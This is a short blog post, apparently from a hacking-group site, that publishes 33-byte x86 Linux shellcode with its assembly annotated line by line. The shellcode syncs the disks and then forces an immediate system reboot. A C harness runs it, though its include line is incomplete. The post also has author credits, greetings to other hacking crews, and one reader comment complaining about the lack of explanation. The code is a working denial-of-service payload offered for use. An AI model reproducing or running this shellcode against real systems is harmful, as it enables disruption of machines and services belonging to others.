break a time, with break the c0de…

33 bytes hard / unclean reboot but data not be lost x86 linux shellcode


/*
Title : hard reboot (without any message) and data not lost shellcode
Name : 33 bytes hard / unclean reboot but data not be lost x86 linux shellcode
Date : Thu Jun 3 12:54:55 2010
Author : gunslinger_
Web : http://devilzc0de.org
blog : https://gunslingerc0de.wordpress.com
tested on : linux ubuntu 9.04 , may cause fsck on reboot
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org)
greetz to : flyff666, whitehat, ketek, chaer, peneter, and all devilzc0de crew
*/
#include

char *shellcode=
“\xb0\x24” /* mov $0x24,%al */
“\xcd\x80” /* int $0x80 */
“\x31\xc0” /* xor %eax,%eax */
“\xb0\x58” /* mov $0x58,%al */
“\xbb\xad\xde\xe1\xfe” /* mov $0xfee1dead,%ebx */
“\xb9\x69\x19\x12\x28” /* mov $0x28121969,%ecx */
“\xba\x67\x45\x23\x01” /* mov $0x1234567,%edx */
“\xcd\x80” /* int $0x80 */
“\x31\xc0” /* xor %eax,%eax */
“\xb0\x01” /* mov $0x1,%al */
“\x31\xdb” /* xor %ebx,%ebx */
“\xcd\x80″; /* int $0x80 */

int main(void)
{
fprintf(stdout,”Length: %d\n”,strlen(shellcode));
((void (*)(void)) shellcode)();
return 0;
}

Advertisements

One response

  1. Kosong gk ada yg koment. mungkin gak ada penjelasan’a om, jdi pada kgak ngerti…. hha

    September 28, 2010 at 3:06 pm

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s